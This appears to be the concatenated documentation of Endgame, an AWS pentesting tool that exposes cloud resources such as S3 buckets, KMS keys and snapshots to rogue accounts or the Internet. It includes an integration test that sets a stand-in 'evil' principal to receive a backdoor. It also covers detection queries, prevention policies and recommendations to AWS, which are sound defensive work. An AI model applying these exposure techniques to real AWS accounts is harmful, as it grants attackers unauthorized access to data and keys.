codestar:DeleteProject
codestar:DisassociateTeamMember
codestar:UpdateTeamMember
### Cognito Identity
cognito-identity:CreateIdentityPool
cognito-identity:DeleteIdentities
cognito-identity:DeleteIdentityPool
cognito-identity:GetId
cognito-identity:MergeDeveloperIdentities
cognito-identity:SetIdentityPoolRoles
cognito-identity:UnlinkDeveloperIdentity
cognito-identity:UnlinkIdentity
cognito-identity:UpdateIdentityPool
### Deeplens
deeplens:AssociateServiceRoleToAccount
### Directory Service
ds:CreateConditionalForwarder
ds:CreateDirectory
ds:CreateMicrosoftAD
ds:CreateTrust
ds:ShareDirectory
### EC2
#### VPC Endpoint Network Interfaces
ec2:CreateNetworkInterfacePermission
ec2:DeleteNetworkInterfacePermission
ec2:ModifyVpcEndpointServicePermissions
#### EC2 Snapshots
ec2:ModifySnapshotAttribute
ec2:ResetSnapshotAttribute
### ECR
* Repositories
ecr:DeleteRepositoryPolicy
ecr:SetRepositoryPolicy
ecr-public:SetRepositoryPolicy
### EFS
elasticfilesystem:DeleteFileSystemPolicy
elasticfilesystem:PutFileSystemPolicy
### EMR
elasticmapreduce:PutBlockPublicAccessConfiguration
### ElasticSearch
es:CreateElasticsearchDomain
es:UpdateElasticsearchDomainConfig
### Glacier
glacier:AbortVaultLock
glacier:CompleteVaultLock
glacier:DeleteVaultAccessPolicy
glacier:InitiateVaultLock
glacier:SetDataRetrievalPolicy
glacier:SetVaultAccessPolicy
### Glue
glue:DeleteResourcePolicy
glue:PutResourcePolicy
### Greengrass
greengrass:AssociateServiceRoleToAccount
### Health
health:DisableHealthServiceAccessForOrganization
health:EnableHealthServiceAccessForOrganization
### IAM Role Trust Policy
iam:AttachRolePolicy
iam:CreatePolicy
iam:CreatePolicyVersion
iam:CreateRole
iam:DeletePolicy
iam:DeletePolicyVersion
iam:DeleteRole
iam:DeleteRolePermissionsBoundary
iam:DeleteRolePolicy
iam:DetachRolePolicy
iam:PassRole
iam:PutRolePermissionsBoundary
iam:PutRolePolicy
iam:UpdateAssumeRolePolicy
iam:UpdateRole
### Image Builder
imagebuilder:GetContainerRecipePolicy
imagebuilder:PutComponentPolicy
imagebuilder:PutContainerRecipePolicy
imagebuilder:PutImagePolicy
imagebuilder:PutImageRecipePolicy
### IOT
iot:AttachPolicy
iot:AttachPrincipalPolicy
iot:DetachPolicy
iot:DetachPrincipalPolicy
iot:SetDefaultAuthorizer
iot:SetDefaultPolicyVersion
### IOT Sitewise
iotsitewise:CreateAccessPolicy
iotsitewise:DeleteAccessPolicy
iotsitewise:UpdateAccessPolicy
### KMS
kms:CreateGrant
kms:PutKeyPolicy
kms:RetireGrant
kms:RevokeGrant
### Lake Formation
lakeformation:BatchGrantPermissions
lakeformation:BatchRevokePermissions
lakeformation:GrantPermissions
lakeformation:PutDataLakeSettings
lakeformation:RevokePermissions
### Lambda
lambda:AddLayerVersionPermission
lambda:AddPermission
lambda:DisableReplication
lambda:EnableReplication
lambda:RemoveLayerVersionPermission
lambda:RemovePermission
### Logs (CloudWatch)
logs:DeleteResourcePolicy
logs:PutResourcePolicy
### MediaStore
mediastore:DeleteContainerPolicy
mediastore:PutContainerPolicy
### OpsWorks
opsworks:SetPermission
opsworks:UpdateUserProfile
### QuickSight
quicksight:CreateAdmin
quicksight:CreateGroup
quicksight:CreateGroupMembership
quicksight:CreateIAMPolicyAssignment
quicksight:CreateUser
quicksight:DeleteGroup
quicksight:DeleteGroupMembership
quicksight:DeleteIAMPolicyAssignment
quicksight:DeleteUser
quicksight:DeleteUserByPrincipalId
quicksight:DescribeDataSetPermissions
quicksight:DescribeDataSourcePermissions
quicksight:RegisterUser
quicksight:UpdateDashboardPermissions
quicksight:UpdateDataSetPermissions
quicksight:UpdateDataSourcePermissions
quicksight:UpdateGroup
quicksight:UpdateIAMPolicyAssignment
quicksight:UpdateTemplatePermissions
quicksight:UpdateUser
### RAM
ram:AcceptResourceShareInvitation
ram:AssociateResourceShare
ram:CreateResourceShare
ram:DeleteResourceShare
ram:DisassociateResourceShare
ram:EnableSharingWithAwsOrganization
ram:RejectResourceShareInvitation
ram:UpdateResourceShare
### Redshift
redshift:AuthorizeSnapshotAccess
redshift:CreateClusterUser
redshift:CreateSnapshotCopyGrant
redshift:JoinGroup
redshift:ModifyClusterIamRoles
redshift:RevokeSnapshotAccess
### Route53 Resolver
route53resolver:PutResolverRulePolicy
### S3
s3:BypassGovernanceRetention
s3:DeleteAccessPointPolicy
s3:DeleteBucketPolicy
s3:ObjectOwnerOverrideToBucketOwner
s3:PutAccessPointPolicy
s3:PutAccountPublicAccessBlock
s3:PutBucketAcl
s3:PutBucketPolicy
s3:PutBucketPublicAccessBlock
s3:PutObjectAcl
s3:PutObjectVersionAcl
### S3 outposts
s3-outposts:DeleteAccessPointPolicy
s3-outposts:DeleteBucketPolicy
s3-outposts:PutAccessPointPolicy
s3-outposts:PutBucketPolicy
s3-outposts:PutObjectAcl
### Secrets Manager
secretsmanager:DeleteResourcePolicy
secretsmanager:PutResourcePolicy
secretsmanager:ValidateResourcePolicy
### Signer
signer:AddProfilePermission
signer:ListProfilePermissions
signer:RemoveProfilePermission
### SNS
sns:AddPermission
sns:CreateTopic
sns:RemovePermission
sns:SetTopicAttributes
### SQS
sqs:AddPermission
sqs:CreateQueue
sqs:RemovePermission
sqs:SetQueueAttributes
### SSM
ssm:ModifyDocumentPermission
### SSO
sso:AssociateDirectory
sso:AssociateProfile
sso:CreateApplicationInstance
sso:CreateApplicationInstanceCertificate
sso:CreatePermissionSet
sso:CreateProfile
sso:CreateTrust
sso:DeleteApplicationInstance
sso:DeleteApplicationInstanceCertificate
sso:DeletePermissionSet
sso:DeletePermissionsPolicy
sso:DeleteProfile
sso:DisassociateDirectory
sso:DisassociateProfile
sso:ImportApplicationInstanceServiceProviderMetadata
sso:PutPermissionsPolicy
sso:StartSSO
sso:UpdateApplicationInstanceActiveCertificate
sso:UpdateApplicationInstanceDisplayData
sso:UpdateApplicationInstanceResponseConfiguration
sso:UpdateApplicationInstanceResponseSchemaConfiguration
sso:UpdateApplicationInstanceSecurityConfiguration
sso:UpdateApplicationInstanceServiceProviderConfiguration
sso:UpdateApplicationInstanceStatus
sso:UpdateDirectoryAssociation
sso:UpdatePermissionSet
sso:UpdateProfile
sso:UpdateSSOConfiguration
sso:UpdateTrust
sso-directory:AddMemberToGroup
sso-directory:CreateAlias
sso-directory:CreateGroup
sso-directory:CreateUser
sso-directory:DeleteGroup
sso-directory:DeleteUser
sso-directory:DisableUser
sso-directory:EnableUser
sso-directory:RemoveMemberFromGroup
sso-directory:UpdateGroup
sso-directory:UpdatePassword
sso-directory:UpdateUser
sso-directory:VerifyEmail
### Storage Gateway
storagegateway:DeleteChapCredentials
storagegateway:SetLocalConsolePassword
storagegateway:SetSMBGuestPassword
storagegateway:UpdateChapCredentials
### WAF
waf:DeletePermissionPolicy
waf:PutPermissionPolicy
waf-regional:DeletePermissionPolicy
waf-regional:PutPermissionPolicy
wafv2:CreateWebACL
wafv2:DeletePermissionPolicy
wafv2:DeleteWebACL
wafv2:PutPermissionPolicy
wafv2:UpdateWebACL
================================================
FILE: docs/appendices/roadmap.md
================================================
### Backdoors via AWS Resource Access Manager
By default, AWS RAM allows you to share resources with **any** AWS Account.
Supported resource types are listed in the AWS documentation [here](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html).
## Status
This exploit method is not currently implemented. Please come back later when we've implemented it.
To get notified when it is available, you can take one of the following methods:
1. In GitHub, select "Watch for new releases"
2. Follow the author [@kmcquade](https://twitter.com/kmcquade3) on Twitter. He will announce when this feature is available 😃
### Resources not on roadmap
| Resource Type | Support Status |
|-------------------------------|----------------|
| S3 Objects | ❌ |
| CloudWatch Destinations | ❌ |
| Glue | ❌ |
* **S3 Buckets**: We do not plan on sharing individual S3 objects given the sheer amount of bandwidth that would require. If you want this feature, I suggest scripting it.
* **CloudWatch Destinations**: Modifying CloudWatch destination policies would only provide the benefit of delivering victim logs to attacker accounts - but that would have to be open permanently. This is not as destructive or useful to an attacker as the rest of these exploits, so I am not including it here.
* **Glue**: According to the [AWS documentation on AWS Glue Resource Policies](https://docs.aws.amazon.com/glue/latest/dg/glue-resource-policies.html), _"An AWS Glue resource policy can only be used to manage permissions for Data Catalog resources. You can't attach it to any other AWS Glue resources such as jobs, triggers, development endpoints, crawlers, or classifiers"_. This kind of data access is not as useful as destructive actions, at first glance. We are open to supporting this resource, but on pull requests only.
================================================
FILE: docs/appendices/terraform-demo-infrastructure.md
================================================
# Terraform Demo Infrastructure
This program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you.
> 🚨This will create real AWS infrastructure and will cost you money! 🚨
> _Note: It is not exposed to rogue IAM users or to the internet at first. That will only happen after you run the exposure commands._
## Prerequisites
* Valid credentials to an AWS account
* AWS CLI should be set up locally
* Terraform should be installed
### Installing Terraform
* Install `tfenv` (Terraform version manager) via Homebrew, and install Terraform 0.12.28
```bash
brew install tfenv
tfenv install 0.12.28
tfenv use 0.12.28
```
### Build the demo infrastructure
* Run the Terraform code to generate the example AWS resources.
```bash
make terraform-demo
```
* Don't forget to clean up after.
```bash
make terraform-destroy
```
================================================
FILE: docs/contributing/contributing.md
================================================
================================================
FILE: docs/contributing/testing.md
================================================
# Testing
## Unit tests
* Run [pytest](https://docs.pytest.org/en/stable/) with the following:
```bash
make test
```
## Security tests
* Run [bandit](https://bandit.readthedocs.io/en/latest/) with the following:
```bash
make security-test
```
## Integration tests
After making any modifications to the program, you can run a full-fledged integration test, using this program against your own test infrastructure in AWS.
* First, set your environment variables
```bash
# Set the environment variable for the username that you will create a backdoor for.
export EVIL_PRINCIPAL="arn:aws:iam::999988887777:user/evil"
export AWS_REGION="us-east-1"
export AWS_PROFILE="default"
```
* Then run the full-fledged integration test:
```bash
make integration-test
```
This does the following:
* Sets up your local dev environment (see `setup-dev`) in the `Makefile`
* Creates the Terraform infrastructure (see `terraform-demo` in the `Makefile`)
* Runs `list-resources`, `exploit --dry-run`, and `expose` against this live infrastructure
* Destroys the Terraform infrastructure (see `terraform-destroy` in the `Makefile`)
Note that the `expose` command will not expose the resources to the world - it will only expose them to your rogue user, not to the world.
================================================
FILE: docs/custom.css
================================================
div.doc-contents:not(.first) {
padding-left: 25px;
border-left: 4px solid rgba(230, 230, 230);
margin-bottom: 80px;
}
div.doc-contents:not(.first) {
padding-left: 25px;
border-left: 4px solid rgba(230, 230, 230);
margin-bottom: 80px;
}
div.doc-module {
font-size: 1em;
}
h5.doc-heading {
text-transform: none !important;
}
h6.hidden-toc {
margin: 0 !important;
position: relative;
top: -70px;
}
h6.hidden-toc::before {
margin-top: 0 !important;
padding-top: 0 !important;
}
h6.hidden-toc a.headerlink {
display: none;
}
td code {
word-break: normal !important;
}
td p {
margin-top: 0 !important;
margin-bottom: 0 !important;
}
================================================
FILE: docs/detection.md
================================================
# Detection
There are three general methods that blue teams can use to **detect** AWS Resource Exposure Attacks:
1. User Agent Detection (Endgame specific)
2. API call detection
3. Behavioral-based detection
4. AWS Access Analyzer
While (1) User Agent Detection is specific to the usage of Endgame, (2) API Call Detection, (3) Behavioral-based detection, and (4) AWS Access Analyzer are strategies to detect Resource Exposure Attacks, regardless of if the attacker is using Endgame to do it.
## Detecting Resource Exposure Attacks
### API Call Detection
Further documentation on how to query for specific API calls made to each service by endgame is available in the [risks documentation](./risks).
### Behavioral-based detection
Behavioral-based detection is currently being researched and developed by [Ryan Stalets](https://twitter.com/RyanStalets). [GitHub issue #46](https://github.com/salesforce/endgame/issues/46) is being used to track this work. We welcome all contributions and discussion!
## Detecting Endgame
### User Agent Detection
Endgame uses the user agent `HotDogsAreSandwiches` by default. While this can be overriden using the `--cloak` flag, defense teams can still use it as an IOC.
The following CloudWatch Insights query will expose events with the `HotDogsAreSandwiches` user agent in CloudTrail logs:
```
fields eventTime, eventSource, eventName, userIdentity.arn, userAgent
| filter userAgent='HotDogsAreSandwiches'
```
This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group.
Further documentation on how to query for specific API calls made to each service by endgame is available in the [risks documentation](risks).
### AWS Access Analyzer
[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) analyzes new or updated resource-based policies within 30 minutes of policy updates (triggered by CloudTrail log entries), and during periodic scans (every 24 hours). If an attacker leverages the `expose` or `smash` commands but quickly rolls back the changes with `--undo`, you might not find out about the attack with Access Analyzer until 30 minutes later.
However, Access Analyzer can still be especially useful in ensuring that if attacks do gain a foothold in your infrastructure. If the attacker ran Endgame or perform resource exposure attacks without the tool, you can still use Access Analyzer to alert on those changes so you can respond to the issue, instead of allowing a persistent backdoor.
Consider leveraging `aws:PrincipalOrgID` or `aws:PrincipalOrgPaths` in your Access Analyzer filter keys to detect access from IAM principals outside your AWS account. See [Access Analyzer Filter Keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-reference-filter-keys.html) for more details.
## Further Reading
Additional information on AWS resource policies, how this tool works in the victim account, and identification/containment suggestions is [here](resource-policy-primer.md).
================================================
FILE: docs/iam-permissions.md
================================================
# IAM Permissions
The IAM Permissions listed below are used to create these backdoors.
You don't need **all** of these permissions to run the tool. You just need enough from each service. For example, `s3:ListAllMyBuckets`, `s3:GetBucketPolicy`, and `s3:PutBucketPolicy` are all the permissions needed to leverage this tool to expose S3 buckets.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAmInevitable",
"Effect": "Allow",
"Action": [
"acm-pca:DeletePolicy",
"acm-pca:GetPolicy",
"acm-pca:ListCertificateAuthorities",
"acm-pca:PutPolicy",
"ec2:DescribeImageAttribute",
"ec2:DescribeImages",
"ec2:DescribeSnapshotAttribute",
"ec2:DescribeSnapshots",
"ec2:ModifySnapshotAttribute",
"ec2:ModifyImageAttribute",
"ecr:DescribeRepositories",
"ecr:DeleteRepositoryPolicy",
"ecr:GetRepositoryPolicy",
"ecr:SetRepositoryPolicy",
"elasticfilesystem:DescribeFileSystems",
"elasticfilesystem:DescribeFileSystemPolicy",
"elasticfilesystem:PutFileSystemPolicy",
"es:DescribeElasticsearchDomainConfig",
"es:ListDomainNames",
"es:UpdateElasticsearchDomainConfig",
"glacier:GetVaultAccessPolicy",
"glacier:ListVaults",
"glacier:SetVaultAccessPolicy",
"iam:GetRole",
"iam:ListRoles",
"iam:UpdateAssumeRolePolicy",
"kms:GetKeyPolicy",
"kms:ListKeys",
"kms:ListAliases",
"kms:PutKeyPolicy",
"lambda:AddLayerVersionPermission",
"lambda:AddPermission",
"lambda:GetPolicy",
"lambda:GetLayerVersionPolicy",
"lambda:ListFunctions",
"lambda:ListLayers",
"lambda:ListLayerVersions",
"lambda:RemoveLayerVersionPermission",
"lambda:RemovePermission",
"logs:DescribeResourcePolicies",
"logs:DeleteResourcePolicy",
"logs:PutResourcePolicy",
"rds:DescribeDbClusterSnapshots",
"rds:DescribeDbClusterSnapshotAttributes",
"rds:DescribeDbSnapshots",
"rds:DescribeDbSnapshotAttributes",
"rds:ModifyDbSnapshotAttribute",
"rds:ModifyDbClusterSnapshotAttribute",
"s3:GetBucketPolicy",
"s3:ListAllMyBuckets",
"s3:PutBucketPolicy",
"secretsmanager:GetResourcePolicy",
"secretsmanager:DeleteResourcePolicy",
"secretsmanager:ListSecrets",
"secretsmanager:PutResourcePolicy",
"ses:DeleteIdentityPolicy",
"ses:GetIdentityPolicies",
"ses:ListIdentities",
"ses:ListIdentityPolicies",
"ses:PutIdentityPolicy",
"sns:AddPermission",
"sns:ListTopics",
"sns:GetTopicAttributes",
"sns:RemovePermission",
"sqs:AddPermission",
"sqs:GetQueueUrl",
"sqs:GetQueueAttributes",
"sqs:ListQueues",
"sqs:RemovePermission"
],
"Resource": "*"
}
]
}
```
================================================
FILE: docs/index.md
================================================
# Endgame: Creating Backdoors in AWS
An AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire Internet 😈
<p align="center">
<img src="images/endgame.gif">
</p>
Endgame abuses AWS's resource permission model to grant rogue users (or the Internet) access to an AWS account's resources with a single command. It does this through one of three methods:
1. Modifying [resource-based policies](https://endgame.readthedocs.io/en/latest/resource-policy-primer/) (such as [S3 Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteAccessPermissionsReqd.html#bucket-policy-static-site) or [Lambda Function policies](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html#permissions-resource-xaccountinvoke))
2. Resources that can be made public through sharing APIs (such as [Amazon Machine Images (AMIs)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html), [EBS disk snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html), and [RDS database snapshots](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html))
3. Sharing resources via [AWS Resource Access Manager (RAM)](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html)
Endgame was created to:
* Push [AWS](https://endgame.readthedocs.io/en/latest/recommendations-to-aws/) to improve coverage of AWS Access Analyzer so AWS users can protect themselves.
* Show [blue teams](https://endgame.readthedocs.io/en/latest/recommendations-to-blue-teams/) and developers what kind of damage can be done by overprivileged/leaked accounts.
* Help red teams to demonstrate impact of their access.
Endgame demonstrates (with a bit of shock and awe) how simple human errors in excessive permissions (such a granting `s3:*` access instead of `s3:GetObject`) can be abused by attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves. This is what inspired us to write this tool. Follow the [Tutorial](./tutorial.md) and observe how you can expose resources across **17 different AWS services** to the Internet in a matter of seconds.
The resource types that can be exposed are of high value to attackers. This can include:
* Privileged compute access (by exposing who can invoke `lambda` functions)
* Database snapshots (`rds`), Storage buckets (`s3`), file systems (`elasticfilesystem`), storage backups (`glacier`), disk snapshots (`ebs` snapshots),
* Encryption keys (`kms`), secrets (`secretsmanager`), and private certificate authorities (`acm-pca`)
* Messaging and notification services (`sqs` queues, `sns` topics, `ses` authorized senders)
* Compute artifacts (`ec2` AMIs, `ecr` images, `lambda` layers)
* Logging endpoints (`cloudwatch` resource policies)
* Search and analytics engines (`elasticsearch` clusters)
Endgame is an attack tool, but it was written with a specific purpose. We wrote this tool with desired outcomes for the following audiences:
1. **AWS**: We want AWS to empower their customers with the capabilities to fight these attacks. Our recommendations are outlined in the [Recommendations to AWS](./recommendations-to-aws.md) section.
2. **AWS Customers and their customers**: It is better to have risks be more easily understood and know how to mitigate those risks than to force people to fight something novel. By increasing awareness about Resource Exposure and excessive permissions, we can protect ourselves against attacks where the attackers previously held the advantage and AWS customers were previously left blind.
3. **Blue Teams**: Defense teams can leverage the guidance around user-agent detection, API call detection, and behavioral detection outlined in the [Recommendations to Blue Teams](prevention.md) section.
4. **Red Teams**: This will make for some very eventful red team exercises. Make sure you give the Blue Team kudos when they catch you!
## Supported Backdoors
Endgame can create backdoors for resources in any of the services listed in the table below.
Note: At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊
| Backdoor Resource Type | Endgame | [AWS Access Analyzer Support][1] |
|---------------------------------------------------------|---------|----------------------------------|
| [ACM Private CAs](risks/acm-pca.md) | ✅ | ❌ |
| [CloudWatch Resource Policies](risks/logs.md) | ✅ | ❌ |
| [EBS Volume Snapshots](risks/ebs.md) | ✅ | ❌ |
| [EC2 AMIs](risks/amis.md) | ✅ | ❌ |
| [ECR Container Repositories](risks/ecr.md) | ✅ | ❌ |
| [EFS File Systems](risks/efs.md) | ✅ | ❌ |
| [ElasticSearch Domains](risks/es.md) | ✅ | ❌ |
| [Glacier Vault Access Policies](risks/glacier.md) | ✅ | ❌ |
| [IAM Roles](risks/iam-roles.md) | ✅ | ✅ |
| [KMS Keys](risks/kms.md) | ✅ | ✅ |
| [Lambda Functions](risks/lambda-functions.md) | ✅ | ✅ |
| [Lambda Layers](risks/lambda-layers.md) | ✅ | ✅ |
| [RDS Snapshots](risks/rds-snapshots.md) | ✅ | ❌ |
| [S3 Buckets](risks/s3.md) | ✅ | ✅ |
| [Secrets Manager Secrets](risks/secretsmanager.md) | ✅ | ✅ |
| [SES Sender Authorization Policies](risks/ses.md) | ✅ | ❌ |
| [SQS Queues](risks/sqs.md) | ✅ | ✅ |
| [SNS Topics](risks/sns.md) | ✅ | ❌ |
[1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html
================================================
FILE: docs/installation.md
================================================
# Installation
* pip3
```bash
pip3 install --user endgame
```
* Homebrew (this will not work until the repository is public)
```bash
brew tap salesforce/endgame https://github.com/salesforce/endgame
brew install endgame
```
Now you should be able to execute `endgame` from command line by running `endgame --help`.
#### Shell Completion
* To enable Bash completion, put this in your `~/.bashrc`:
```bash
eval "$(_ENDGAME_COMPLETE=source endgame)"
```
* To enable ZSH completion, put this in your `~/.zshrc`:
```bash
eval "$(_ENDGAME_COMPLETE=source_zsh endgame)"
```
================================================
FILE: docs/prevention.md
================================================
# Prevention
There are 6 general methods that blue teams can use to **prevent** AWS Resource Exposure Attacks:
1. Use AWS KMS Customer-Managed Keys to encrypt resources
2. Leverage Strong Resource-based Policies
3. Trusted Accounts Only
4. Inventory which IAM Principals are capable of Resource Exposure
5. AWS Service Control Policies
6. Prevent AWS RAM External Principals
## Use AWS KMS Customer-Managed Keys
If an attacker does not have access to your Customer Managed Key, the attacker cannot access the resource. You can leverage this strategy to prevent cases in which your resources are leaked to the internet but the attacker did not have access to the encryption key.
Additionally, use strong resource-based policies on the Customer Managed Keys and leverage them to prevent other IAM Principals in the account from using that key for decrypt operations or management operations. If the attacker cannot use the key to decrypt, they effectively cannot access the resource.
## Leverage strong resource-based policies
Strong resource-based policies can ensure that only the intended IAM principals can modify the KMS key policy (i.e, using `kms:PutKeyPolicy` permissions. Under this scenario, even if an attacker has privileged access, if they are not granted `kms:PutKeyPolicy` by the KMS key, then they can't subvert your KMS encryption.
## Trusted Accounts Only
Practice good security hygiene throughout your SDLC. Ensure that only trusted accounts are allowed any level of access to your accounts, especially via resource-based policies.
## Inventory which IAM Principals are Capable of Resource Exposure
Consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/)
## AWS Service Control Policies (SCPs)
AWS Service Control Policies (SCPs) cannot be used to strictly prevent resources from becoming public.
However, there are well-known AWS Service Control Policies that can force encryption on EBS and RDS snapshots, which essentially also blocks public access as mentioned above.
### Enforce RDS Encryption
As covered in [this blog post](https://medium.com/@cbchhaya/aws-scp-to-mandate-rds-encryption-6b4dc8b036a), the following AWS SCP can be used to Mandate RDS Encryption:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "StatementForOtherRDS",
"Effect": "Deny",
"Action": [
"rds:CreateDBInstance"
],
"Resource": [
"*"
],
"Condition": {
"ForAnyValue:StringEquals": {
"rds:DatabaseEngine": [
"mariadb",
"mysql",
"oracle-ee",
"oracle-se2",
"oracle-se1",
"oracle-se",
"postgres",
"sqlserver-ee",
"sqlserver-se",
"sqlserver-ex",
"sqlserver-web"
]
},
"Bool": {
"rds:StorageEncrypted": "false"
}
}
},
{
"Sid": "StatementForAurora",
"Effect": "Deny",
"Action": [
"rds:CreateDBCluster"
],
"Resource": [
"*"
],
"Condition": {
"Bool": {
"rds:StorageEncrypted": "false"
}
}
}
]
}
```
### Require Encryption on All S3 Buckets
The following SCP requires that all Amazon S3 buckets use AES256 encryption in an AWS Account.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"s3:PutObject"
],
"Resource": "*",
"Effect": "Deny",
"Condition": {
"StringNotEquals": {
"s3:x-amz-server-side-encryption": "AES256"
}
}
},
{
"Action": [
"s3:PutObject"
],
"Resource": "*",
"Effect": "Deny",
"Condition": {
"Bool": {
"s3:x-amz-server-side-encryption": false
}
}
}
]
}
```
### Protect S3 Block Public Access
After setting up your AWS account, set the [S3 Block Public Access](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html) to enforce at the AWS Account level (not just the bucket level). Then, apply this SCP to prevent users or roles in any affected account from modifying the S3 Block Public Access Settings in an Account.
Note: This will only eliminate the risk of modifying an S3 bucket policy to allow `*` Principals. It will not eliminate the risk of modifying an S3 bucket policy to allow rogue IAM users or rogue accounts.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"s3:PutBucketPublicAccessBlock"
],
"Resource": "*",
"Effect": "Deny"
}
]
}
```
### Protect AWS Access Analyzer
While AWS Access Analyzer has its shortcomings, it is a uniquely useful tool that you should use to help address the risk of Resource Exposure Attacks.
When using AWS Access Analyzer, it is paramount that AWS Access Analyzer configuration is protected against malicious modification by users who seek to disable security alerts before performing malicious activities.
The following SCP prevents users or roles in any affected account from deleting AWS Access Analyzer in an AWS account:
```
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"access-analyzer:DeleteAnalyzer"
],
"Resource": "*",
"Effect": "Deny"
}
]
}
```
### Prevent AWS RAM External Principals
This SCP prevents users or roles in any affected account from creating Resource Access Shares using RAM that are shared with external principals outside the organization. This can categorically eliminate one of the three methods of Resource Exposure identified by Endgame and is highly suggested.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"*"
],
"Resource": "*",
"Effect": "Deny",
"Condition": {
"Bool": {
"ram:AllowsExternalPrincipals": "true"
}
}
}
]
}
```
## Further Reading
* [Blog Post about Using AWS SCPs to Mandate RDS Encryption](https://medium.com/@cbchhaya/aws-scp-to-mandate-rds-encryption-6b4dc8b036a)
================================================
FILE: docs/recommendations-to-aws.md
================================================
# Recommendations to AWS
While [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/) (a Salesforce-produced AWS IAM assessment tool), showed us the pervasiveness of least privilege violations in AWS IAM across the industry, Endgame shows us how it is already easy for attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves.
[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) is a tool produced by AWS that helps you identify the resources in your organization and accounts, such as Amazon S3 buckets or IAM roles, that are shared with an external entity. In short, it **detects** instances of this resource exposure problem. However, it does not by itself meet customer need, due to current gaps in coverage and the lack of preventative tooling to compliment it.
At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊
The lack of preventative tooling makes this issue more difficult for customers. Ideally, customers should be able to say, _"Nobody in my AWS Organization is allowed to share **any** resources that can be exposed by Endgame outside of the organization, unless that resource is in an exemption list."_ This **should** be possible, but it is not. It is not even possible to use [AWS Service Control Policies (SCPS)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) - AWS's preventative guardrails service - to prevent `sts:AssumeRole` calls from outside your AWS Organization. The current SCP service limit of 5 SCPs per AWS account compounds this problem.
We recommend that AWS take the following measures in response:
* Increase Access Analyzer Support to cover the resources that can be exposed via Resource-based Policy modification, AWS RAM resource sharing, and resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs)
* Create GuardDuty rules that detect anomalous exposure of resources outside your AWS Organization.
* Expand the current limit of 5 SCPs per AWS account to 200. (for comparison, the Azure equivalent - Azure Policies - has a limit of [200 Policy or Initiative Assignments per subscription](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#azure-policy-limits))
* Improve the AWS SCP service to support an "Audit" mode that would record in CloudTrail whether API calls would have been denied had the SCP not been in audit mode. This would increase customer adoption and make it easier for customers to both pilot and roll out new guardrails. (for comparison, the Azure Equivalent - Azure Policies - already [supports Audit mode](https://docs.microsoft.com/en-us/azure/governance/policy/concepts/effects#audit).
* Support the usage of `sts:AssumeRole` to prevent calls from outside your AWS Organization, with targeted exceptions.
* Add IAM Condition Keys to all the IAM Actions that are used to perform Resource Exposure. These IAM Condition Keys should be used to prevent these resources from (1) being shared with the public **and** (2) being shared outside of your `aws:PrincipalOrgPath`.
================================================
FILE: docs/requirements-docs.txt
================================================
mkdocs==1.1.2
mkdocs-material==6.2.8
mkdocs-material-extensions==1.0.1
mkdocstrings==0.14.0
atomicwrites==1.4.0
distlib==0.3.1
filelock==3.0.12
Pygments==2.8.0
pymdown-extensions==8.1.1
pytkdocs==0.10.1
================================================
FILE: docs/resource-policy-primer.md
================================================
# AWS Resource Policies, Endgame, and You
## Background
AWS resource policies enable developers to grant permissions to specified principals (or the internet) using policy documents that apply only to a specific resource (ex: buckets, KMS keys, etc). This enables very granular access to resources to be achieved. For example, you can grant an IAM user in another account very specific permissions to a single S3 bucket without requiring them to assume a role in your account.
## Identity Policies vs. Resource Policies
The key thing to remember with resource-based policies is that they are attached _directly to an AWS resource_, like an S3 bucket, and are considered as one component in the policy evaluation that occurs when an API call is made. They are managed _by the service itself_, not IAM. Identity-based policies are attached to _an IAM principal_ such as an IAM user or role. These policies define what a principal can do across all services and resources; however, they do not always limit what permissions can be granted to the principal by a resource-based policy.
## Policy Evaluation Process
